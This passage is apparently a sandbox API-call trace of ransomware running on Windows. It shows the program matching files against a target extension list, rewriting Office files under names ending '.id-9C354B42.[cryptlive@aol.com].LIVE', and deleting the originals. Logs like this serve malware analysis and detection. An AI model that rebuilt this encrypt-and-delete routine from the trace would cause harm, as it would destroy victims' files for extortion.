dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.833] lstrlenW (lpString=".doc") returned 4 [0143.833] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0143.833] lstrlenW (lpString=".docx") returned 5 [0143.833] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0143.833] lstrlenW (lpString=".pdf") returned 4 [0143.833] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0143.833] lstrlenW (lpString=".xls") returned 4 [0143.833] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0143.833] lstrlenW (lpString=".xlsx") returned 5 [0143.833] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0143.833] lstrlenW (lpString=".ppt") returned 4 [0143.833] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0143.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.833] lstrlenW (lpString=".zip") returned 4 [0143.833] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0143.833] lstrlenW (lpString=".rar") returned 4 [0143.834] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString=".bz2") returned 4 [0143.834] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0143.834] lstrlenW (lpString=".7z") returned 3 [0143.834] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.834] lstrlenW (lpString=".dbf") returned 4 [0143.834] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.834] lstrlenW (lpString=".1cd") returned 4 [0143.834] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.834] lstrlenW (lpString=".jpg") returned 4 [0143.834] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.834] lstrlenW (lpString=".doc") returned 4 [0143.834] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString=".docx") returned 5 [0143.834] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0143.834] lstrlenW (lpString=".pdf") returned 4 [0143.834] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString=".xls") returned 4 [0143.834] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString=".xlsx") returned 5 [0143.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0143.834] lstrlenW (lpString=".ppt") returned 4 [0143.834] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.834] lstrlenW (lpString=".zip") returned 4 [0143.834] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString=".rar") returned 4 [0143.834] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0143.834] lstrlenW (lpString=".bz2") returned 4 [0143.834] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0143.835] lstrlenW (lpString=".7z") returned 3 [0143.835] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.835] lstrlenW (lpString=".dbf") returned 4 [0143.835] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0143.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.835] lstrlenW (lpString=".1cd") returned 4 [0143.835] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0143.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0143.835] lstrlenW (lpString=".jpg") returned 4 [0143.835] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0143.835] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0143.835] lstrlenW (lpString="OISINTL.DLL") returned 11 [0143.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.922] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=129432) returned 1 [0143.922] CloseHandle (hObject=0x38c) returned 1 [0143.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll")) returned 0x20 [0144.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.011] lstrlenW (lpString=".doc") returned 4 [0144.011] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.011] lstrlenW (lpString=".docx") returned 5 [0144.011] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0144.011] lstrlenW (lpString=".pdf") returned 4 [0144.011] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.011] lstrlenW (lpString=".xls") returned 4 [0144.011] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.011] lstrlenW (lpString=".xlsx") returned 5 [0144.011] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0144.011] lstrlenW (lpString=".ppt") returned 4 [0144.011] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.011] lstrlenW (lpString=".zip") returned 4 [0144.012] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".rar") returned 4 [0144.012] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".bz2") returned 4 [0144.012] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.012] lstrlenW (lpString=".7z") returned 3 [0144.012] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.012] lstrlenW (lpString=".dbf") returned 4 [0144.012] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.012] lstrlenW (lpString=".1cd") returned 4 [0144.012] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.012] lstrlenW (lpString=".jpg") returned 4 [0144.012] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.012] lstrlenW (lpString=".doc") returned 4 [0144.012] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".docx") returned 5 [0144.012] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0144.012] lstrlenW (lpString=".pdf") returned 4 [0144.012] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".xls") returned 4 [0144.012] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".xlsx") returned 5 [0144.012] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0144.012] lstrlenW (lpString=".ppt") returned 4 [0144.012] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.012] lstrlenW (lpString=".zip") returned 4 [0144.012] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".rar") returned 4 [0144.012] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.012] lstrlenW (lpString=".bz2") returned 4 [0144.012] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.013] lstrlenW (lpString=".7z") returned 3 [0144.013] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.013] lstrlenW (lpString=".dbf") returned 4 [0144.013] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.013] lstrlenW (lpString=".1cd") returned 4 [0144.013] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0144.013] lstrlenW (lpString=".jpg") returned 4 [0144.013] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.013] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0144.013] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0144.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.026] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=207) returned 1 [0144.026] CloseHandle (hObject=0x388) returned 1 [0144.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 0x20 [0144.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.109] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.109] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.110] GetLastError () returned 0x0 [0144.110] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xcf, lpOverlapped=0x0) returned 1 [0144.111] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0144.112] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.112] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0144.112] SetEndOfFile (hFile=0x1ec) returned 1 [0144.112] CloseHandle (hObject=0x1ec) returned 1 [0144.112] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.112] SetEndOfFile (hFile=0x384) returned 1 [0144.115] CloseHandle (hObject=0x384) returned 1 [0144.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 1 [0144.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.115] lstrlenW (lpString=".doc") returned 4 [0144.116] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0144.116] lstrlenW (lpString=".docx") returned 5 [0144.116] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0144.116] lstrlenW (lpString=".pdf") returned 4 [0144.116] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0144.116] lstrlenW (lpString=".xls") returned 4 [0144.116] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0144.116] lstrlenW (lpString=".xlsx") returned 5 [0144.116] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0144.116] lstrlenW (lpString=".ppt") returned 4 [0144.116] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0144.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.116] lstrlenW (lpString=".zip") returned 4 [0144.116] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0144.116] lstrlenW (lpString=".rar") returned 4 [0144.116] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0144.116] lstrlenW (lpString=".bz2") returned 4 [0144.116] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0144.116] lstrlenW (lpString=".7z") returned 3 [0144.116] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0144.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.116] lstrlenW (lpString=".dbf") returned 4 [0144.116] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0144.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.116] lstrlenW (lpString=".1cd") returned 4 [0144.116] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0144.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.116] lstrlenW (lpString=".jpg") returned 4 [0144.116] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0144.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.116] lstrlenW (lpString=".doc") returned 4 [0144.116] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0144.116] lstrlenW (lpString=".docx") returned 5 [0144.116] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0144.116] lstrlenW (lpString=".pdf") returned 4 [0144.117] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0144.117] lstrlenW (lpString=".xls") returned 4 [0144.117] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0144.117] lstrlenW (lpString=".xlsx") returned 5 [0144.117] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0144.117] lstrlenW (lpString=".ppt") returned 4 [0144.117] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0144.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.117] lstrlenW (lpString=".zip") returned 4 [0144.117] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0144.117] lstrlenW (lpString=".rar") returned 4 [0144.117] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0144.117] lstrlenW (lpString=".bz2") returned 4 [0144.117] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0144.117] lstrlenW (lpString=".7z") returned 3 [0144.117] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0144.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.117] lstrlenW (lpString=".dbf") returned 4 [0144.117] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0144.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.117] lstrlenW (lpString=".1cd") returned 4 [0144.117] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0144.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0144.117] lstrlenW (lpString=".jpg") returned 4 [0144.117] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0144.117] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0144.117] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0144.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.118] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=113) returned 1 [0144.118] CloseHandle (hObject=0x384) returned 1 [0144.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 0x20 [0144.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.118] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.118] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.119] GetLastError () returned 0x0 [0144.119] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x71, lpOverlapped=0x0) returned 1 [0144.120] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0144.121] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.121] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0144.121] SetEndOfFile (hFile=0x1ec) returned 1 [0144.121] CloseHandle (hObject=0x1ec) returned 1 [0144.121] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.121] SetEndOfFile (hFile=0x384) returned 1 [0144.124] CloseHandle (hObject=0x384) returned 1 [0144.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.125] lstrlenW (lpString=".doc") returned 4 [0144.125] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.125] lstrlenW (lpString=".docx") returned 5 [0144.125] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.125] lstrlenW (lpString=".pdf") returned 4 [0144.125] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.125] lstrlenW (lpString=".xls") returned 4 [0144.125] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.125] lstrlenW (lpString=".xlsx") returned 5 [0144.125] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.125] lstrlenW (lpString=".ppt") returned 4 [0144.125] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.125] lstrlenW (lpString=".zip") returned 4 [0144.125] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.125] lstrlenW (lpString=".rar") returned 4 [0144.125] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.125] lstrlenW (lpString=".bz2") returned 4 [0144.125] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.125] lstrlenW (lpString=".7z") returned 3 [0144.125] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.125] lstrlenW (lpString=".dbf") returned 4 [0144.126] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.126] lstrlenW (lpString=".1cd") returned 4 [0144.126] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.126] lstrlenW (lpString=".jpg") returned 4 [0144.126] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.126] lstrlenW (lpString=".doc") returned 4 [0144.126] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.126] lstrlenW (lpString=".docx") returned 5 [0144.126] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.126] lstrlenW (lpString=".pdf") returned 4 [0144.126] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.126] lstrlenW (lpString=".xls") returned 4 [0144.126] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.126] lstrlenW (lpString=".xlsx") returned 5 [0144.126] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.126] lstrlenW (lpString=".ppt") returned 4 [0144.126] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0144.126] lstrlenW (lpString=".zip") returned 4 [0144.126] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.126] lstrlenW (lpString=".rar") returned 4 [0144.126] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.126] lstrlenW (lpString=".bz2") returned 4 [0144.126] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.126] lstrlenW (lpString=".7z") returned 3 [0144.126] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.126] lstrlenW 